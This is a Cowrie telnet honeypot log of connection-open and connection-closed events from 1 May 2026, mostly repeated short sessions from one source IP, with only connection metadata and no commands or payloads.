{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51390,"dst_ip":"159.203.135.109","dst_port":23,"session":"de064eb8540e","protocol":"telnet","message":"New connection: 194.163.135.148:51390 (159.203.135.109:23) [session: de064eb8540e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:28.060391Z"}
{"eventid":"cowrie.session.closed","duration":30.961474657058716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:28.702881Z","src_ip":"194.163.135.148","session":"6baa17d67a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51406,"dst_ip":"159.203.135.109","dst_port":23,"session":"602c91ddaf1e","protocol":"telnet","message":"New connection: 194.163.135.148:51406 (159.203.135.109:23) [session: 602c91ddaf1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:29.110111Z"}
{"eventid":"cowrie.session.closed","duration":30.560030937194824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:30.121911Z","src_ip":"194.163.135.148","session":"8504cee6f48e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51418,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7620d2ae137","protocol":"telnet","message":"New connection: 194.163.135.148:51418 (159.203.135.109:23) [session: c7620d2ae137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:34.009456Z"}
{"eventid":"cowrie.session.closed","duration":31.38229465484619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:35.393741Z","src_ip":"194.163.135.148","session":"d719a1444308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51464,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4803e7b6c24","protocol":"telnet","message":"New connection: 194.163.135.148:51464 (159.203.135.109:23) [session: d4803e7b6c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:37.077928Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51468,"dst_ip":"159.203.135.109","dst_port":23,"session":"b678dd33d83b","protocol":"telnet","message":"New connection: 194.163.135.148:51468 (159.203.135.109:23) [session: b678dd33d83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:39.439797Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51474,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbca02800a27","protocol":"telnet","message":"New connection: 194.163.135.148:51474 (159.203.135.109:23) [session: fbca02800a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:40.090318Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51494,"dst_ip":"159.203.135.109","dst_port":23,"session":"8842bca60ce7","protocol":"telnet","message":"New connection: 194.163.135.148:51494 (159.203.135.109:23) [session: 8842bca60ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:42.137251Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51490,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5d2f7c1473b","protocol":"telnet","message":"New connection: 194.163.135.148:51490 (159.203.135.109:23) [session: e5d2f7c1473b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:42.746230Z"}
{"eventid":"cowrie.session.closed","duration":35.447619676589966,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:42.970097Z","src_ip":"194.163.135.148","session":"f98784037bfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06564426422119,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:44.845008Z","src_ip":"194.163.135.148","session":"9e4afca27e9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.937387943267822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:45.146861Z","src_ip":"194.163.135.148","session":"38884058847f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51512,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4d89c36dc43","protocol":"telnet","message":"New connection: 194.163.135.148:51512 (159.203.135.109:23) [session: d4d89c36dc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:45.985117Z"}
{"eventid":"cowrie.session.closed","duration":32.09975719451904,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:46.504968Z","src_ip":"194.163.135.148","session":"16e1aac4657f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51524,"dst_ip":"159.203.135.109","dst_port":23,"session":"612cac2e3cc5","protocol":"telnet","message":"New connection: 194.163.135.148:51524 (159.203.135.109:23) [session: 612cac2e3cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:47.016528Z"}
{"eventid":"cowrie.session.closed","duration":30.338388204574585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:47.069457Z","src_ip":"194.163.135.148","session":"341c78d36294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51538,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f42448109e8","protocol":"telnet","message":"New connection: 194.163.135.148:51538 (159.203.135.109:23) [session: 8f42448109e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:50.690316Z"}
{"eventid":"cowrie.session.closed","duration":31.683444023132324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:54.178246Z","src_ip":"194.163.135.148","session":"ec3e08a1fb75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.615123510360718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:54.695730Z","src_ip":"194.163.135.148","session":"a654b073d760","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.61641597747803,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:54.779227Z","src_ip":"194.163.135.148","session":"4fdba2165ecf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.850104808807373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:55.379699Z","src_ip":"194.163.135.148","session":"33ae8d4f4be7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51554,"dst_ip":"159.203.135.109","dst_port":23,"session":"948d0dcd5b50","protocol":"telnet","message":"New connection: 194.163.135.148:51554 (159.203.135.109:23) [session: 948d0dcd5b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:56.795414Z"}
{"eventid":"cowrie.session.closed","duration":32.6007719039917,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:57.149313Z","src_ip":"194.163.135.148","session":"75d5f2168b97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.360190629959106,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:57.670680Z","src_ip":"194.163.135.148","session":"5ad66b6aba6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52742886543274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:58.426194Z","src_ip":"194.163.135.148","session":"e838aa870fe1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51558,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e774dd80e70","protocol":"telnet","message":"New connection: 194.163.135.148:51558 (159.203.135.109:23) [session: 7e774dd80e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:58.484962Z"}
{"eventid":"cowrie.session.closed","duration":34.72914266586304,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:58.805707Z","src_ip":"194.163.135.148","session":"0acc51ef6b46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.84404730796814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:55:59.904318Z","src_ip":"194.163.135.148","session":"de064eb8540e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.302127599716187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:00.413406Z","src_ip":"194.163.135.148","session":"602c91ddaf1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51570,"dst_ip":"159.203.135.109","dst_port":23,"session":"39acc8691a50","protocol":"telnet","message":"New connection: 194.163.135.148:51570 (159.203.135.109:23) [session: 39acc8691a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:02.607458Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51576,"dst_ip":"159.203.135.109","dst_port":23,"session":"efd73f71bc46","protocol":"telnet","message":"New connection: 194.163.135.148:51576 (159.203.135.109:23) [session: efd73f71bc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:03.948917Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51572,"dst_ip":"159.203.135.109","dst_port":23,"session":"953f3388424d","protocol":"telnet","message":"New connection: 194.163.135.148:51572 (159.203.135.109:23) [session: 953f3388424d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:04.662498Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51586,"dst_ip":"159.203.135.109","dst_port":23,"session":"d05763060dc1","protocol":"telnet","message":"New connection: 194.163.135.148:51586 (159.203.135.109:23) [session: d05763060dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:06.336500Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51578,"dst_ip":"159.203.135.109","dst_port":23,"session":"770d844b19ef","protocol":"telnet","message":"New connection: 194.163.135.148:51578 (159.203.135.109:23) [session: 770d844b19ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:07.035687Z"}
{"eventid":"cowrie.session.closed","duration":34.00937867164612,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:08.018693Z","src_ip":"194.163.135.148","session":"c7620d2ae137","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51592,"dst_ip":"159.203.135.109","dst_port":23,"session":"afd5956aa1cd","protocol":"telnet","message":"New connection: 194.163.135.148:51592 (159.203.135.109:23) [session: afd5956aa1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:09.817128Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51594,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e8edc1e0751","protocol":"telnet","message":"New connection: 194.163.135.148:51594 (159.203.135.109:23) [session: 3e8edc1e0751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:09.871353Z"}
{"eventid":"cowrie.session.closed","duration":33.59280586242676,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:10.670613Z","src_ip":"194.163.135.148","session":"d4803e7b6c24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65089201927185,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:12.090468Z","src_ip":"194.163.135.148","session":"b678dd33d83b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51608,"dst_ip":"159.203.135.109","dst_port":23,"session":"21be65ead9e3","protocol":"telnet","message":"New connection: 194.163.135.148:51608 (159.203.135.109:23) [session: 21be65ead9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:13.771441Z"}
{"eventid":"cowrie.session.closed","duration":34.130638122558594,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:14.220836Z","src_ip":"194.163.135.148","session":"fbca02800a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51612,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb400f17589","protocol":"telnet","message":"New connection: 194.163.135.148:51612 (159.203.135.109:23) [session: dcb400f17589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:14.840601Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51614,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba460fac2e72","protocol":"telnet","message":"New connection: 194.163.135.148:51614 (159.203.135.109:23) [session: ba460fac2e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:15.212422Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51618,"dst_ip":"159.203.135.109","dst_port":23,"session":"16bd61191f11","protocol":"telnet","message":"New connection: 194.163.135.148:51618 (159.203.135.109:23) [session: 16bd61191f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:16.005797Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51622,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e7c0ccb4eef","protocol":"telnet","message":"New connection: 194.163.135.148:51622 (159.203.135.109:23) [session: 7e7c0ccb4eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:16.400559Z"}
{"eventid":"cowrie.session.closed","duration":33.98957943916321,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:16.735688Z","src_ip":"194.163.135.148","session":"e5d2f7c1473b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":35830,"dst_ip":"10.17.0.5","dst_port":23,"session":"f652bf9af0d4","protocol":"telnet","message":"New connection: 62.182.85.24:35830 (10.17.0.5:23) [session: f652bf9af0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:16.853532Z"}
{"eventid":"cowrie.session.closed","duration":36.17431998252869,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:18.311454Z","src_ip":"194.163.135.148","session":"8842bca60ce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":37348,"dst_ip":"10.17.0.5","dst_port":23,"session":"b287edf91ae5","protocol":"telnet","message":"New connection: 103.82.231.165:37348 (10.17.0.5:23) [session: b287edf91ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:18.495747Z"}
{"eventid":"cowrie.session.closed","duration":32.91456365585327,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:19.930979Z","src_ip":"194.163.135.148","session":"612cac2e3cc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51640,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a76c0f6dc8","protocol":"telnet","message":"New connection: 194.163.135.148:51640 (159.203.135.109:23) [session: b7a76c0f6dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:20.422966Z"}
{"eventid":"cowrie.session.closed","duration":36.18997025489807,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:22.174969Z","src_ip":"194.163.135.148","session":"d4d89c36dc43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51656,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dbb34587a7a","protocol":"telnet","message":"New connection: 194.163.135.148:51656 (159.203.135.109:23) [session: 1dbb34587a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:22.575194Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51658,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d3e1fd9d70a","protocol":"telnet","message":"New connection: 194.163.135.148:51658 (159.203.135.109:23) [session: 6d3e1fd9d70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:22.980417Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51660,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d67640d4aeb","protocol":"telnet","message":"New connection: 194.163.135.148:51660 (159.203.135.109:23) [session: 8d67640d4aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:23.728452Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51666,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f1e71c23064","protocol":"telnet","message":"New connection: 194.163.135.148:51666 (159.203.135.109:23) [session: 5f1e71c23064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:24.857337Z"}
{"eventid":"cowrie.session.closed","duration":34.267404317855835,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:24.957618Z","src_ip":"194.163.135.148","session":"8f42448109e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51670,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ba227e9e7c0","protocol":"telnet","message":"New connection: 194.163.135.148:51670 (159.203.135.109:23) [session: 7ba227e9e7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:25.211788Z"}
{"eventid":"cowrie.session.closed","duration":84.61916518211365,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:25.963461Z","src_ip":"194.39.227.103","session":"1c8d9d5b7f89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77112364768982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:27.566391Z","src_ip":"194.163.135.148","session":"948d0dcd5b50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51690,"dst_ip":"159.203.135.109","dst_port":23,"session":"459e093ce1af","protocol":"telnet","message":"New connection: 194.163.135.148:51690 (159.203.135.109:23) [session: 459e093ce1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:28.020344Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":37462,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae7fc3fab47d","protocol":"telnet","message":"New connection: 103.82.231.165:37462 (10.17.0.5:23) [session: ae7fc3fab47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:28.556689Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51692,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a6341838c89","protocol":"telnet","message":"New connection: 194.163.135.148:51692 (159.203.135.109:23) [session: 1a6341838c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:29.169878Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.29.29.139","src_port":13918,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f9aa7b20c0","protocol":"telnet","message":"New connection: 217.29.29.139:13918 (10.17.0.5:23) [session: 31f9aa7b20c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:29.699272Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51700,"dst_ip":"159.203.135.109","dst_port":23,"session":"be88236bebe7","protocol":"telnet","message":"New connection: 194.163.135.148:51700 (159.203.135.109:23) [session: be88236bebe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:30.096648Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51706,"dst_ip":"159.203.135.109","dst_port":23,"session":"52525317a806","protocol":"telnet","message":"New connection: 194.163.135.148:51706 (159.203.135.109:23) [session: 52525317a806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:30.812966Z"}
{"eventid":"cowrie.session.closed","duration":32.544281244277954,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:31.029127Z","src_ip":"194.163.135.148","session":"7e774dd80e70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51714,"dst_ip":"159.203.135.109","dst_port":23,"session":"085c1a49b8f0","protocol":"telnet","message":"New connection: 194.163.135.148:51714 (159.203.135.109:23) [session: 085c1a49b8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:32.876219Z"}
{"eventid":"cowrie.session.closed","duration":120.00139141082764,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:32.965096Z","src_ip":"201.1.168.89","session":"dd0895f958c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00192213058472,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:34.344100Z","src_ip":"201.1.168.89","session":"210ddff21ab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.648136138916016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:35.255440Z","src_ip":"194.163.135.148","session":"39acc8691a50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76288604736328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:37.099250Z","src_ip":"194.163.135.148","session":"d05763060dc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.481714725494385,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:37.144125Z","src_ip":"194.163.135.148","session":"953f3388424d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51752,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ddc2d753274","protocol":"telnet","message":"New connection: 194.163.135.148:51752 (159.203.135.109:23) [session: 2ddc2d753274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:37.318932Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.1.168.89","src_port":47758,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8b3da5dd03e","protocol":"telnet","message":"New connection: 201.1.168.89:47758 (159.203.135.109:23) [session: b8b3da5dd03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:37.718871Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51750,"dst_ip":"159.203.135.109","dst_port":23,"session":"5093e0056c41","protocol":"telnet","message":"New connection: 194.163.135.148:51750 (159.203.135.109:23) [session: 5093e0056c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:37.972368Z"}
{"eventid":"cowrie.session.closed","duration":34.160964488983154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:38.109755Z","src_ip":"194.163.135.148","session":"efd73f71bc46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":51764,"dst_ip":"159.203.135.109","dst_port":23,"session":"62721dddca75","protocol":"telnet","message":"New connection: 194.163.135.148:51764 (159.203.135.109:23) [session: 62721dddca75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:38.968181Z"}
{"eventid":"cowrie.session.closed","duration":31.990854501724243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:56:39.026275Z","src_ip":"194.163.135.148","session":"770d844b19ef","protocol":"telnet"}
